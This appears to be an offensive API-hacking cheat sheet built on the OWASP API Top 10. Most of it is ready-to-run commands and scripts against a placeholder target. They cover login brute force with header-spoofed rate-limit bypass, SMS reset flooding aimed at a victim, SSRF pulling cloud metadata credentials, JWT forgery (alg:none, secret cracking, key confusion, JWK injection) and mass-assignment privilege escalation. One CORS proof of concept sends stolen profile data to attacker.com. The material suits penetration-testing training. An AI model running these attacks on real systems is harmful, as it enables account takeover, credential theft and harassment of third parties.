A complete operational reference for API recon, enumeration, and exploitation structured around the OWASP API Security Top 10 (2023 edition). Covers REST, GraphQL, and JWT attack surfaces. Includes tools, payloads, Burp Suite workflows, and post-exploitation techniques.
1. Core Concepts & API Attack Flow
API ATTACK FLOW:
──────────────────────────────────────────────────────────────────────
Target Application
│
▼
┌─────────────────────┐
│ API Discovery │ ← JS files, Swagger/OpenAPI, Wayback,
│ & Recon │ Kiterunner, ffuf, shodan, GitHub dorks
└──────────┬──────────┘
│
▼
┌──────────────────────┐
│ Endpoint Mapping │ ← document all routes, methods, params
│ & Surface Analysis │ REST / GraphQL / gRPC / SOAP
└──────────┬───────────┘
│
▼
┌──────────────────────────────────────────────┐
│ OWASP API Top 10 │
│ API1: BOLA/IDOR │ API2: Broken Auth │
│ API3: BOPLA │ API4: Rate Limit Abuse │
│ API5: BFLA │ API6: Business Logic │
│ API7: SSRF │ API8: Misconfiguration │
│ API9: Inventory │ API10: 3rd Party Trust │
└──────────┬───────────────────────────────────┘
│
▼
┌───────────────────────────────┐
│ Authentication Bypass / JWT │
│ Object Manipulation │
│ Privilege Escalation │
└──────────┬────────────────────┘
│
▼
┌───────────────────────────────┐
│ Data Exfiltration / Account │
│ Takeover / Internal SSRF / │
│ RCE / Full Compromise │
└───────────────────────────────┘
──────────────────────────────────────────────────────────────────────
Key Terms:
- REST — Representational State Transfer — resource-based HTTP API
- GraphQL — Query language API — single endpoint, client-defined queries
- BOLA — Broken Object Level Authorization (also called IDOR in web context)
- BFLA — Broken Function Level Authorization (horizontal/vertical priv esc)
- BOPLA — Broken Object Property Level Authorization (mass assignment / data exposure)
- JWT — JSON Web Token — common API auth mechanism, multiple attack surfaces
- OpenAPI/Swagger — API documentation spec — goldmine for attack surface mapping
2. API Recon & Endpoint Discovery
2.1 Passive Recon — Find APIs Without Touching the Target
# ─── JavaScript file analysis ───
# APIs are often defined in JS bundles — extract from page source
curl -s https://target.com | grep -oP 'https?://[^"'\'']+\.(js)' | sort -u
# Then fetch each JS file and grep for API paths:
curl -s https://target.com/app.js | grep -oP '"/api/[^"'\'']*"' | sort -u
# ─── Wayback Machine historical endpoints ───
curl -s "https://web.archive.org/cdx/search/cdx?url=target.com/api/*&output=text&fl=original&collapse=urlkey" \
| sort -u | head -50
# ─── GitHub dorks for leaked API endpoints / keys ───
# Search on github.com:
# site:github.com "api.target.com"
# site:github.com "Authorization: Bearer" "target.com"
# site:github.com "X-API-Key" "target.com"
# ─── Shodan / Censys for exposed API servers ───
# shodan.io query:
# hostname:target.com port:8080,8443,3000,5000
# "swagger" hostname:target.com
# "graphql" hostname:target.com
2.2 Active Recon — Endpoint Brute Forcing
# ─── ffuf — API endpoint fuzzing ───
ffuf -u https://target.com/api/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,301,302,401,403 \
-H "Content-Type: application/json"
# Fuzz versioned APIs
ffuf -u https://target.com/FUZZ/users \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-versions.txt
# → discovers /v1/users, /v2/users, /api/v1/users, /api/v2/users etc.
# Fuzz HTTP methods on known endpoints
ffuf -u https://target.com/api/users \
-w /usr/share/wordlists/seclists/Fuzzing/http-methods.txt \
-X FUZZ \
-H "Authorization: Bearer <token>" \
-mc 200,201,204
# ─── Kiterunner — OpenAPI-aware endpoint discovery ───
git clone https://github.com/assetnote/kiterunner.git
cd kiterunner && make build && sudo mv dist/kr /usr/local/bin/
# Download optimized API wordlists
wget https://wordlists-cdn.assetnote.io/data/kiterunner/routes-large.kite
# Scan target
kr scan https://target.com/api \
-w routes-large.kite \
--max-connection-per-host 5
# With auth header
kr scan https://target.com/api \
-w routes-large.kite \
-H "Authorization: Bearer <token>"
# ─── Arjun — hidden parameter discovery ───
pip3 install arjun
arjun -u https://target.com/api/users
arjun -u https://target.com/api/search -m POST # POST params
arjun -u https://target.com/api/users -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
2.3 Swagger / OpenAPI Documentation Hunting
# Common Swagger/OpenAPI spec paths
curl -s https://target.com/swagger.json
curl -s https://target.com/swagger.yaml
curl -s https://target.com/api/swagger.json
curl -s https://target.com/openapi.json
curl -s https://target.com/openapi.yaml
curl -s https://target.com/v1/api-docs
curl -s https://target.com/api-docs
curl -s https://target.com/swagger-ui.html
curl -s https://target.com/api/v1/swagger-ui.html
curl -s https://target.com/.well-known/openapi
# Fuzz for Swagger files
ffuf -u https://target.com/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/swagger-wordlist.txt \
-mc 200
# Once found — parse with python
python3 - << 'EOF'
import json, requests
spec = requests.get("https://target.com/swagger.json").json()
for path, methods in spec.get("paths", {}).items():
for method in methods:
print(f"{method.upper()} {path}")
EOF
2.4 Postman / Burp for API Testing
# ─── Burp Suite — API testing workflow ───
# 1. Proxy → intercept API traffic
# 2. Target → Scope → include API host
# 3. Send to Repeater (Ctrl+R) for manual testing
# 4. Send to Intruder for fuzzing
# Burp Bambda / Match&Replace for API:
# Add header: "Content-Type: application/json"
# Test all endpoints from swagger spec via Burp Scanner
# ─── curl API testing basics ───
# GET request with auth
curl -s -X GET https://target.com/api/v1/users \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" | python3 -m json.tool
# POST request with JSON body
curl -s -X POST https://target.com/api/v1/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"password123"}' | python3 -m json.tool
# DELETE request
curl -s -X DELETE https://target.com/api/v1/users/123 \
-H "Authorization: Bearer <JWT_TOKEN>"
# PUT request (update)
curl -s -X PUT https://target.com/api/v1/users/123 \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com"}'
# ─── httpie (cleaner alternative to curl) ───
pip3 install httpie
http GET https://target.com/api/v1/users "Authorization: Bearer <TOKEN>"
http POST https://target.com/api/v1/login username=admin password=pass
3. API1:2023 — Broken Object Level Authorization (BOLA/IDOR)
WHAT IT IS:
────────────────────────────────────────────────────────────────────────
User A requests their own data:
GET /api/v1/users/1001/profile → returns their data ✓
User A requests User B's data (BOLA):
GET /api/v1/users/1002/profile → SHOULD return 403
→ VULNERABLE: returns 1002's data ✗
The API authorizes based on the request, not the authenticated user.
────────────────────────────────────────────────────────────────────────
Testing Methodology
# Step 1: Identify object IDs in the API
# Look for: /api/users/{id}, /api/orders/{id}, /api/invoices/{id}
# IDs can be: integers, UUIDs, hashes, base64 strings
# Step 2: Intercept your own request (get your ID)
# Burp → observe: GET /api/v1/account → {"id": 1337, "email": "yours@test.com"}
# Step 3: Try another user's ID (enumerate)
curl -s GET https://target.com/api/v1/account/1338 \
-H "Authorization: Bearer <YOUR_TOKEN>"
# Step 4: Try IDs systematically with ffuf
ffuf -u https://target.com/api/v1/users/FUZZ \
-w numbers.txt \
-H "Authorization: Bearer <YOUR_TOKEN>" \
-mc 200 \
-fw 1 # filter by word count to detect different responses
# Generate number range wordlist
seq 1 1000 > numbers.txt
# Step 5: UUID-based IDs — still testable
# Leak UUIDs from other responses (user lists, comments, public profiles)
# Then request with your token → check if access is granted
# Step 6: Test ALL HTTP methods (BOLA often only blocks GET, not PUT/DELETE)
for METHOD in GET POST PUT PATCH DELETE; do
echo -n "$METHOD /api/v1/users/1338 : "
curl -s -o /dev/null -w "%{http_code}" \
-X $METHOD https://target.com/api/v1/users/1338 \
-H "Authorization: Bearer <YOUR_TOKEN>"
echo
done
Burp Suite — Autorize Extension (BOLA Automation)
SETUP:
──────────────────────────────────────────────────────────────────────
1. Install Autorize extension via BApp Store
2. Login as User A → copy User B's JWT to Autorize config
3. Browse app as User A
4. Autorize automatically re-sends each request with User B's token
5. Color coding:
Green = same response (BOLA confirmed → User B can access A's data)
Red = different response (authorization working)
Orange = needs manual review
──────────────────────────────────────────────────────────────────────
BOLA in Different ID Formats
# Integer IDs — direct increment
GET /api/orders/1001 → GET /api/orders/1000, /api/orders/999
# UUID IDs — find from other endpoints
GET /api/v1/posts/ # public endpoint leaks UUIDs in response
# Then: GET /api/v1/admin/users/<leaked_uuid>
# Encoded IDs — decode and manipulate
# Base64: echo "dXNlcjoxMzM3" | base64 -d → "user:1337"
# Try: echo "user:1" | base64 → "dXNlcjox" → use in API request
# Hashed IDs — leaked in response body of other endpoints
# Collect from: /api/v1/comments, /api/v1/feed, public user profiles
4. API2:2023 — Broken Authentication
4.1 Auth Mechanism Identification
# Identify auth type from response headers and tokens
curl -si https://target.com/api/v1/login \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}'
# Look for:
# Authorization: Bearer eyJ... → JWT
# Set-Cookie: session=... → Cookie-based
# X-API-Key: ... → API key
# token: ... → custom token
4.2 Weak Credentials & Brute Force
# API brute force with ffuf (no lockout)
ffuf -u https://target.com/api/v1/login \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"FUZZ"}' \
-w /usr/share/wordlists/rockyou.txt \
-mc 200 \
-fs 45 # filter out failed login response size
# Burp Intruder — password spray
# 1. Capture POST /api/v1/login
# 2. Send to Intruder → Sniper → mark password field
# 3. Load wordlist → attack
# 4. Sort by response length / status code
# Rate limit bypass techniques (if lockout present):
# → Add X-Forwarded-For: 1.1.1.X (rotate IP header)
# → Add X-Real-IP: 1.1.1.X
# → Add X-Originating-IP: 1.1.1.X
# → Use Cluster Bomb with different header values
# → Slow down requests (--delay in ffuf)
# ffuf with rotating X-Forwarded-For
ffuf -u https://target.com/api/v1/login \
-X POST \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: FUZZ2" \
-d '{"username":"admin","password":"FUZZ"}' \
-w passwords.txt:FUZZ -w ips.txt:FUZZ2
4.3 Token in URL / Insecure Transmission
# Check if token is in URL (leaked in logs, referrer)
# BAD: GET /api/v1/data?token=eyJhbGciOi...
# Test: does the API accept token as query param?
curl -s "https://target.com/api/v1/profile?token=<JWT>" | python3 -m json.tool
# Check if API accepts HTTP (not HTTPS only)
curl -si http://target.com/api/v1/login # downgrade to HTTP
# Check if token is returned in response body unnecessarily
curl -s -X POST https://target.com/api/v1/login \
-d '{"username":"user","password":"pass"}' | python3 -m json.tool
# → Look for: token, refresh_token, secret in cleartext response
4.4 Password Reset Flaws
# Test password reset token predictability
# Step 1: Request reset for known account
POST /api/v1/auth/reset-password
{"email": "test@target.com"}
# → Token sent to email / returned in response
# Step 2: Check token format — is it predictable?
# - Short numeric OTP: brute force possible
# - Timestamp-based: test if token = base64(timestamp) or md5(timestamp)
# - Sequential: request two resets rapidly, compare tokens
# Step 3: Test if reset token is tied to the email
# Get a valid token for your account:
POST /api/v1/auth/reset-password/confirm
{"token": "<your_token>", "email": "victim@target.com", "password": "hacked"}
# → If token is not validated against the email → account takeover
# Step 4: Test token expiry (is 1-hour-old token still valid?)
# Step 5: Test token reuse (can same token be used twice?)
5. API3:2023 — Broken Object Property Level Authorization
Combines two older categories: - Excessive Data Exposure — API returns more data than needed - Mass Assignment — API accepts and processes fields it should not
5.1 Excessive Data Exposure
# Step 1: Observe full API response — what fields are returned?
curl -s https://target.com/api/v1/users/me \
-H "Authorization: Bearer <TOKEN>" | python3 -m json.tool
# Look for: password_hash, api_key, secret_question, credit_card, ssn, dob
# Step 2: Check if mobile app / JS exposes more than the UI renders
# The app may hide sensitive fields in UI but the API still sends them
# → Use Burp → inspect raw response
# Step 3: Test if list endpoints expose less than detail endpoints
curl -s https://target.com/api/v1/users | python3 -m json.tool # list
curl -s https://target.com/api/v1/users/1337 | python3 -m json.tool # detail
# Detail endpoints often return extra sensitive fields
5.2 Mass Assignment
# Identify writable fields by reading API documentation or responses
# Then try adding undocumented / privileged fields in write requests
# Normal user registration:
POST /api/v1/users/register
{"username": "zoro", "email": "zoro@test.com", "password": "pass123"}
# Mass assignment attempt — add privileged fields:
POST /api/v1/users/register
{
"username": "zoro",
"email": "zoro@test.com",
"password": "pass123",
"role": "admin", ← try adding this
"is_admin": true, ← or this
"verified": true, ← or this
"credit": 99999, ← or this
"account_balance": 9999 ← business logic bypass
}
# Update profile — try adding restricted fields
PUT /api/v1/users/profile
{
"email": "zoro@test.com",
"password": "newpass",
"role": "admin", ← escalate privileges
"user_id": 1, ← try changing own ID to admin's ID
"group": "administrators"
}
# Check response — if "role": "admin" is reflected → mass assignment confirmed!
6. API4:2023 — Unrestricted Resource Consumption
Previously called "Lack of Resources & Rate Limiting."
Testing Rate Limits
# Test 1: Does the API rate limit login attempts?
for i in $(seq 1 50); do
curl -s -o /dev/null -w "Attempt $i: %{http_code}\n" \
-X POST https://target.com/api/v1/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong'$i'"}'
done
# Watch for: 429 Too Many Requests or 403 = rate limiting exists
# No change in response = NO rate limiting
# Test 2: Password reset SMS/email flooding
for i in $(seq 1 20); do
curl -s -X POST https://target.com/api/v1/auth/reset \
-d '{"phone":"victim_number"}'
echo "SMS $i sent"
done
# Test 3: Resource exhaustion — large payload
python3 -c "print('A'*100000)" > big.txt
curl -s -X POST https://target.com/api/v1/search \
-H "Content-Type: application/json" \
-d '{"query": "'$(cat big.txt)'"}'
# Test 4: Pagination abuse — request all records at once
curl -s "https://target.com/api/v1/users?limit=999999&offset=0" \
-H "Authorization: Bearer <TOKEN>"
# Test 5: Zip bomb / deeply nested JSON
curl -s -X POST https://target.com/api/v1/data \
-H "Content-Type: application/json" \
-d '{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":"AAAA"}}}}}}}}}}}'
Rate Limit Bypass Techniques
# Header spoofing to bypass IP-based rate limits
curl -s -X POST https://target.com/api/v1/login \
-H "X-Forwarded-For: 10.0.0.1" \
-H "X-Real-IP: 10.0.0.1" \
-H "CF-Connecting-IP: 10.0.0.1" \
-d '{"username":"admin","password":"test"}'
# Null byte in username to bypass per-user rate limits
# "admin" vs "admin\x00" are treated differently by some systems
# Admin%00 in URL encoding
# Rotate User-Agent strings
ffuf -u https://target.com/api/v1/otp/verify \
-X POST \
-H "Content-Type: application/json" \
-H "User-Agent: FUZZ" \
-d '{"otp":"FUZZ2","phone":"victim"}' \
-w useragents.txt:FUZZ -w digits.txt:FUZZ2
7. API5:2023 — Broken Function Level Authorization (BFLA)
WHAT IT IS:
────────────────────────────────────────────────────────────────────────
Vertical Privilege Escalation:
Regular user accessing admin-only API functions
Horizontal Privilege Escalation:
User A accessing User B's functions (write/delete, not just read)
Example:
GET /api/v1/users/me → allowed for regular users
GET /api/v1/admin/users → should be admin-only → test as regular user!
DELETE /api/v1/users/{id} → should be admin-only → test as regular user!
────────────────────────────────────────────────────────────────────────
Testing BFLA
# Step 1: Map all API functions (from swagger, JS, Burp traffic)
# Step 2: Identify admin / privileged functions
# Clues: /admin/, /internal/, /staff/, /superuser/, /moderator/
# HTTP method: DELETE, PUT, PATCH on user data
# Actions: ban, verify, approve, bulk-delete, impersonate
# Step 3: Send privileged requests using regular user token
# Test admin endpoint access
curl -s https://target.com/api/v1/admin/users \
-H "Authorization: Bearer <REGULAR_USER_TOKEN>" | python3 -m json.tool
# 200 OK = BFLA confirmed
# Test admin actions
curl -s -X DELETE https://target.com/api/v1/admin/users/1337 \
-H "Authorization: Bearer <REGULAR_USER_TOKEN>"
curl -s -X POST https://target.com/api/v1/admin/users/1337/promote \
-H "Authorization: Bearer <REGULAR_USER_TOKEN>" \
-d '{"role":"admin"}'
# Test method manipulation (admin function accessible via different HTTP method)
# If GET /admin/users is blocked:
# try: POST /admin/users / HEAD /admin/users / OPTIONS /admin/users
curl -s -X OPTIONS https://target.com/api/v1/admin/users \
-H "Authorization: Bearer <REGULAR_USER_TOKEN>"
# Check Allow header in response
# Step 4: Test by removing auth altogether
curl -s https://target.com/api/v1/admin/users # no auth header
# 200 = unauthenticated access (critical)
BFLA — Parameter Tampering
# Role in request body — switch to admin
POST /api/v1/user/settings
{"theme":"dark","role":"user"}
→ Change to:
{"theme":"dark","role":"admin"}
# Function flag manipulation
POST /api/v1/action
{"action":"view","target":"post_id"}
→ Change to:
{"action":"delete","target":"1"}
{"action":"admin_delete","target":"1"}
# Path traversal to admin function
# /api/v1/user/profile/../../admin/users
curl -s "https://target.com/api/v1/user/profile/../../admin/users" \
-H "Authorization: Bearer <REGULAR_USER_TOKEN>"
8. API6:2023 — Unrestricted Access to Sensitive Business Flows
This covers business logic abuse — not a code bug, but a process flaw.
Common Scenarios & Tests
# ─── Scenario 1: Ticket/Product Scalping ───
# API allows buying 1000 tickets in one automated call
# No limit on purchases per account / IP / time
# Test: rapid concurrent purchase requests
# Use Burp Turbo Intruder or ffuf with threading
python3 - << 'EOF'
import requests, threading
headers = {"Authorization": "Bearer <TOKEN>", "Content-Type": "application/json"}
url = "https://target.com/api/v1/checkout/purchase"
data = '{"item_id": "limited_sneaker", "qty": 1}'
def buy():
r = requests.post(url, headers=headers, data=data)
print(r.status_code, r.json())
threads = [threading.Thread(target=buy) for _ in range(50)]
for t in threads: t.start()
for t in threads: t.join()
EOF
# ─── Scenario 2: Fake Account Creation ───
# No email verification requirement — create mass fake accounts
# Test: register 10 accounts with disposable emails
for i in $(seq 1 10); do
curl -s -X POST https://target.com/api/v1/register \
-d "{\"email\":\"test$i@mailnull.com\",\"password\":\"Pass123!\"}"
done
# ─── Scenario 3: Referral Code Abuse ───
# Self-referral: use your own referral code to earn reward
# Test: register two accounts, refer second from first, collect reward
# ─── Scenario 4: Cart Manipulation ───
# Negative quantity to get refund / negative total
POST /api/v1/cart
{"item_id": "product_1", "qty": -1} ← negative quantity
# Zero price manipulation (if price sent by client)
POST /api/v1/checkout
{"items": [{"id": "item1", "price": 0.01, "qty": 1}]}
9. API7:2023 — Server Side Request Forgery (SSRF)
Identifying SSRF Entry Points
# Look for parameters that accept URLs / IPs / hostnames:
# url=, webhook=, callback=, redirect=, proxy=, fetch=, load=, import=
# icon_url=, profile_image=, avatar_url=, pdf_url=, target=
# Common API SSRF patterns:
POST /api/v1/webhooks
{"callback_url": "https://attacker.com/catch"} ← SSRF entry point
POST /api/v1/integrations/import
{"source_url": "https://attacker.com/evil.json"}
POST /api/v1/profile
{"avatar_url": "https://target-internal-server/"} ← reach internal services
SSRF Exploitation
# Step 1: Basic SSRF confirmation — use Burp Collaborator or interactsh
pip3 install interactsh-client
interactsh-client # generates: <random>.oast.fun
# Send SSRF payload:
curl -s -X POST https://target.com/api/v1/webhook \
-H "Content-Type: application/json" \
-d '{"url": "http://<random>.oast.fun"}'
# If you see DNS/HTTP request in interactsh → SSRF confirmed
# Step 2: Probe internal network / cloud metadata
# AWS Metadata (IMDSv1)
curl -s -X POST https://target.com/api/v1/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
# AWS credentials
curl -s -X POST https://target.com/api/v1/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP Metadata
curl -s -X POST https://target.com/api/v1/fetch \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'
# Azure Metadata
curl -s -X POST https://target.com/api/v1/fetch \
-d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'
# Step 3: Probe internal services
# Internal HTTP services
for PORT in 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
curl -s -X POST https://target.com/api/v1/fetch \
-d "{\"url\": \"http://127.0.0.1:$PORT/\"}" &
done
# Step 4: SSRF filter bypass
# Bypass localhost restrictions:
# → http://127.0.0.1 → blocked?
# → http://[::1] IPv6 localhost
# → http://0.0.0.0
# → http://0x7f000001 hex encoded 127.0.0.1
# → http://2130706433 decimal encoded 127.0.0.1
# → http://127.1 short notation
# → http://localtest.me DNS resolves to 127.0.0.1
# → http://attacker.com → where attacker.com resolves to 127.0.0.1 (DNS rebinding)
10. API8:2023 — Security Misconfiguration
Common Misconfigurations
# ─── CORS Misconfiguration ───
curl -si https://target.com/api/v1/profile \
-H "Origin: https://evil.com" \
-H "Authorization: Bearer <TOKEN>"
# Look for: Access-Control-Allow-Origin: https://evil.com (or *)
# → if * or evil.com reflected → CORS misconfiguration
# Verify CORS with credentials
curl -si https://target.com/api/v1/profile \
-H "Origin: https://evil.com" \
-H "Cookie: session=<valid_session>"
# Access-Control-Allow-Credentials: true + non-wildcard origin = exploitable
# CORS PoC (JavaScript):
# fetch('https://target.com/api/v1/profile', {credentials: 'include'})
# .then(r => r.json())
# .then(d => fetch('https://attacker.com/log?d=' + JSON.stringify(d)))
# ─── HTTP Methods Misconfiguration ───
curl -s -X OPTIONS https://target.com/api/v1/users -v 2>&1 | grep "Allow:"
# Dangerous: Allow: GET, POST, PUT, DELETE, TRACE, CONNECT
# TRACE method test (XST — Cross Site Tracing)
curl -s -X TRACE https://target.com/api/v1/users
# Should return 405 — if it echoes your request back → vulnerability
# ─── Verbose Error Messages ───
# Send malformed requests and inspect error responses
curl -s -X POST https://target.com/api/v1/users \
-H "Content-Type: application/json" \
-d '{"invalid_field": "test"}'
# Look for: stack traces, framework names, DB queries, internal paths
# SQL injection probe (error-based fingerprinting)
curl -s "https://target.com/api/v1/users?id=1'" | python3 -m json.tool
# Error: "You have an error in your SQL syntax" → SQLi + DB info leaked
# ─── Default Credentials ───
# Try on API admin endpoints
curl -s -X POST https://target.com/api/v1/admin/login \
-d '{"username":"admin","password":"admin"}'
curl -s -X POST https://target.com/api/v1/admin/login \
-d '{"username":"admin","password":"password"}'
# ─── Debug / Development Endpoints Exposed ───
curl -s https://target.com/api/v1/debug
curl -s https://target.com/api/v1/env
curl -s https://target.com/api/v1/_health
curl -s https://target.com/api/v1/_debug
curl -s https://target.com/api/actuator # Spring Boot
curl -s https://target.com/api/actuator/env # ENV variables!
curl -s https://target.com/api/actuator/mappings # all endpoints!
11. API9:2023 — Improper Inventory Management
WHAT IT IS:
────────────────────────────────────────────────────────────────────
Outdated/shadow/undocumented API versions still accessible
→ Less security hardened, missing patches, exposed debug endpoints
Example:
/api/v3/login → current, hardened, rate limited
/api/v1/login → old, no rate limit, accepts weak passwords
/api/v2/login → deprecated but still live
────────────────────────────────────────────────────────────────────
Testing Version & Shadow APIs
# Discover old API versions
ffuf -u https://target.com/FUZZ/users \
-w api-versions-wordlist.txt
# Wordlist contents:
# api, api/v1, api/v2, api/v3, api/v4
# v1, v2, v3, v4
# api/1.0, api/2.0, api/1, api/2
# internal, internal/v1, beta, staging, dev
# Create custom version wordlist:
cat > api_versions.txt << 'EOF'
api/v1
api/v2
api/v3
api/v4
api/v0
v1
v2
v3
v4
api/1.0
api/2.0
api/beta
api/internal
api/staging
api/dev
api/test
api/old
internal
beta
staging
dev
mobile
mobile/v1
mobile/v2
EOF
ffuf -u https://target.com/FUZZ/users \
-w api_versions.txt \
-mc 200,201,401,403 \
-H "Authorization: Bearer <TOKEN>"
# Test if old version has weaker auth / no rate limits
curl -s -X POST https://target.com/api/v1/login \
-d '{"username":"admin","password":"wrongpass"}'
# vs
curl -s -X POST https://target.com/api/v3/login \
-d '{"username":"admin","password":"wrongpass"}'
# Compare: response time, error message detail, rate limit behavior
# Hunt for shadow APIs via Wayback Machine
curl -s "https://web.archive.org/cdx/search/cdx?url=target.com/api/*&output=text" \
| grep -oP '/api/[v0-9.]+/' | sort -u
12. API10:2023 — Unsafe Consumption of APIs
WHAT IT IS:
────────────────────────────────────────────────────────────────────
The target application blindly trusts data from third-party APIs.
→ Inject malicious data into third-party API that target consumes
→ Target processes it without validation → XSS, SQLi, SSRF, RCE
Attack chain:
Attacker → controls 3rd party service
→ injects payload into data the target will consume
→ target fetches data → vulnerable processing → exploit
────────────────────────────────────────────────────────────────────
Testing Approach
# Step 1: Identify which external APIs the application consumes
# → Social login (OAuth from Google/GitHub)
# → Payment APIs (Stripe, PayPal callbacks)
# → Weather/Map APIs
# → Currency / stock data feeds
# → Email service callbacks (SendGrid webhooks)
# Step 2: Can you influence data flowing FROM those APIs?
# → OAuth: can you control the profile name/email returned?
# → Webhooks: if you control the webhook sender data
# Step 3: Inject payloads into fields the 3rd party returns to the target
# → Username from OAuth provider: <script>alert(1)</script>
# → "Full name" from OAuth: '; DROP TABLE users; --
# → Address field: ../../../etc/passwd (if stored and used in file ops)
# Step 4: Check if target validates/sanitizes 3rd-party data
# → Create account with malicious OAuth username
# → Check if it renders as HTML in target's UI
# → Check if it is stored and reflected (stored XSS via 3rd party trust)
# Step 5: Test SSRF via open redirect in 3rd party URL consumption
# If target fetches a URL from a 3rd party response:
# Inject: {"redirect_url": "http://internal-service/"}
# → if target follows it without validation → SSRF via API10
13. JWT Attacks — Deep Dive
13.1 JWT Structure & Identification
JWT FORMAT:
─────────────────────────────────────────────────────────────────────
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ← Header (base64)
.
eyJ1c2VyIjoidXNlcjEiLCJyb2xlIjoidXNlciJ9 ← Payload (base64)
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← Signature (base64url)
Header decoded: {"alg": "HS256", "typ": "JWT"}
Payload decoded: {"user": "user1", "role": "user", "iat": 1234567890}
─────────────────────────────────────────────────────────────────────
# Decode JWT without tools
echo "eyJ1c2VyIjoidXNlcjEiLCJyb2xlIjoidXNlciJ9" | base64 -d
# → {"user":"user1","role":"user"}
# Identify JWT in requests:
# Authorization: Bearer eyJ...
# Cookie: token=eyJ...
# Response body: {"token": "eyJ..."}
13.2 jwt_tool — Primary JWT Attack Tool
# ─── Installation ───
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip3 install termcolor cprint pycryptodomex requests
# ─── Decode and inspect JWT ───
python3 jwt_tool.py <JWT>
# ─── Run all checks / scans ───
python3 jwt_tool.py <JWT> -t https://target.com/api/v1/profile \
-rh "Authorization: Bearer JWT" \
-M at # All Tampering tests
13.3 Algorithm None Attack
# Vulnerable when: server accepts "none" as algorithm → skips signature check
# → Change payload (e.g., role: admin) → set alg to none → server accepts
python3 jwt_tool.py <JWT> -X a
# -X a = exploit alg:none
# Manual approach:
# 1. Decode header + payload
# 2. Modify payload: {"user":"user1","role":"admin"}
# 3. Re-encode:
python3 - << 'EOF'
import base64, json
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "user1", "role": "admin", "iat": 1234567890}
def b64url_encode(data):
return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()
token = b64url_encode(header) + "." + b64url_encode(payload) + "."
print(token)
EOF
# Use the output token in Authorization header
13.4 HS256 Secret Key Cracking
# If secret is weak → crack the HMAC-SHA256 signature
# Using jwt_tool:
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat (mode 16500 = JWT)
# First, format the JWT:
echo "<HEADER>.<PAYLOAD>.<SIGNATURE>" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Once cracked → forge new token with admin privileges
python3 jwt_tool.py <JWT> -T -S hs256 -p "cracked_secret"
# -T = tamper mode (interactive)
# -S = sign with algorithm
# -p = secret key
13.5 RS256 → HS256 Key Confusion Attack
# When server signs with RS256 (asymmetric) but also accepts HS256:
# → Use the public key as HMAC secret to forge a valid HS256 token
# Step 1: Obtain the public key
# Usually available at:
curl -s https://target.com/.well-known/jwks.json # JWK Set
curl -s https://target.com/auth/public-key
# Or extract from a valid JWT:
python3 jwt_tool.py <JWT> -j # attempts to retrieve JWK
# Step 2: Save public key as PEM
# Convert JWK → PEM via jwt_tool or manual conversion
# Step 3: Exploit RS256→HS256 key confusion
python3 jwt_tool.py <JWT> -X k -pk public_key.pem
# -X k = key confusion exploit
# -pk = path to public key file
13.6 JWK Header Injection
# Vulnerable when: server uses the embedded JWK in the token header for verification
# → Attacker generates their own RSA key pair
# → Embeds their public key in the JWT header
# → Signs token with their own private key
# → Server verifies using the attacker-controlled public key = accepted!
# Using jwt_tool:
python3 jwt_tool.py <JWT> -X i
# -X i = inject JWK into header → tamper payload → auto-sign
# Tamper payload (e.g., set role to admin) while injecting JWK:
python3 jwt_tool.py <JWT> -X i -T
13.7 JWT Attack Summary
| Attack | Condition | jwt_tool Flag | Impact |
|---|---|---|---|
alg:none |
Server accepts unsigned tokens | -X a |
Forge any payload |
| Secret brute force | Weak HS256 secret | -C -d wordlist |
Forge any payload |
| RS256 → HS256 confusion | Server accepts both algorithms | -X k -pk pub.pem |
Privilege escalation |
| JWK header injection | Server uses embedded JWK | -X i |
Full auth bypass |
kid header SQLi |
kid value used in DB query |
-T (manual) |
SQLi via kid parameter |
| Expired token acceptance | No expiry validation | -T (edit exp) |
Replay valid old tokens |
14. GraphQL Security Testing
14.1 GraphQL Identification
# Common GraphQL endpoints
curl -s https://target.com/graphql
curl -s https://target.com/api/graphql
curl -s https://target.com/v1/graphql
curl -s https://target.com/query
# POST a basic introspection query to confirm
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __typename }"}'
# Response: {"data":{"__typename":"Query"}} = GraphQL confirmed
14.2 GraphQL Introspection — Full Schema Dump
# Full introspection query — dumps entire schema
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "{ __schema { queryType { name } mutationType { name } types { name kind description fields { name type { name kind } } } } }"
}' | python3 -m json.tool
# Using graphql-cop for automated checks
pip3 install graphql-cop
graphql-cop -t https://target.com/graphql
# Checks for: introspection, DoS, IDOR, auth bypass, injection
# InQL (Burp Extension)
# BApp Store → InQL → generates queries from introspection
# → automatically creates test requests for all queries + mutations
# GraphQL Voyager — visualize schema (GUI)
# Paste introspection JSON into: https://apis.guru/graphql-voyager/
14.3 GraphQL Attack Techniques
# ─── 1. Introspection to find sensitive queries/mutations ───
# Look for mutations like:
# deleteUser, promoteUser, updateRole, setPassword, createAdminToken, resetAll
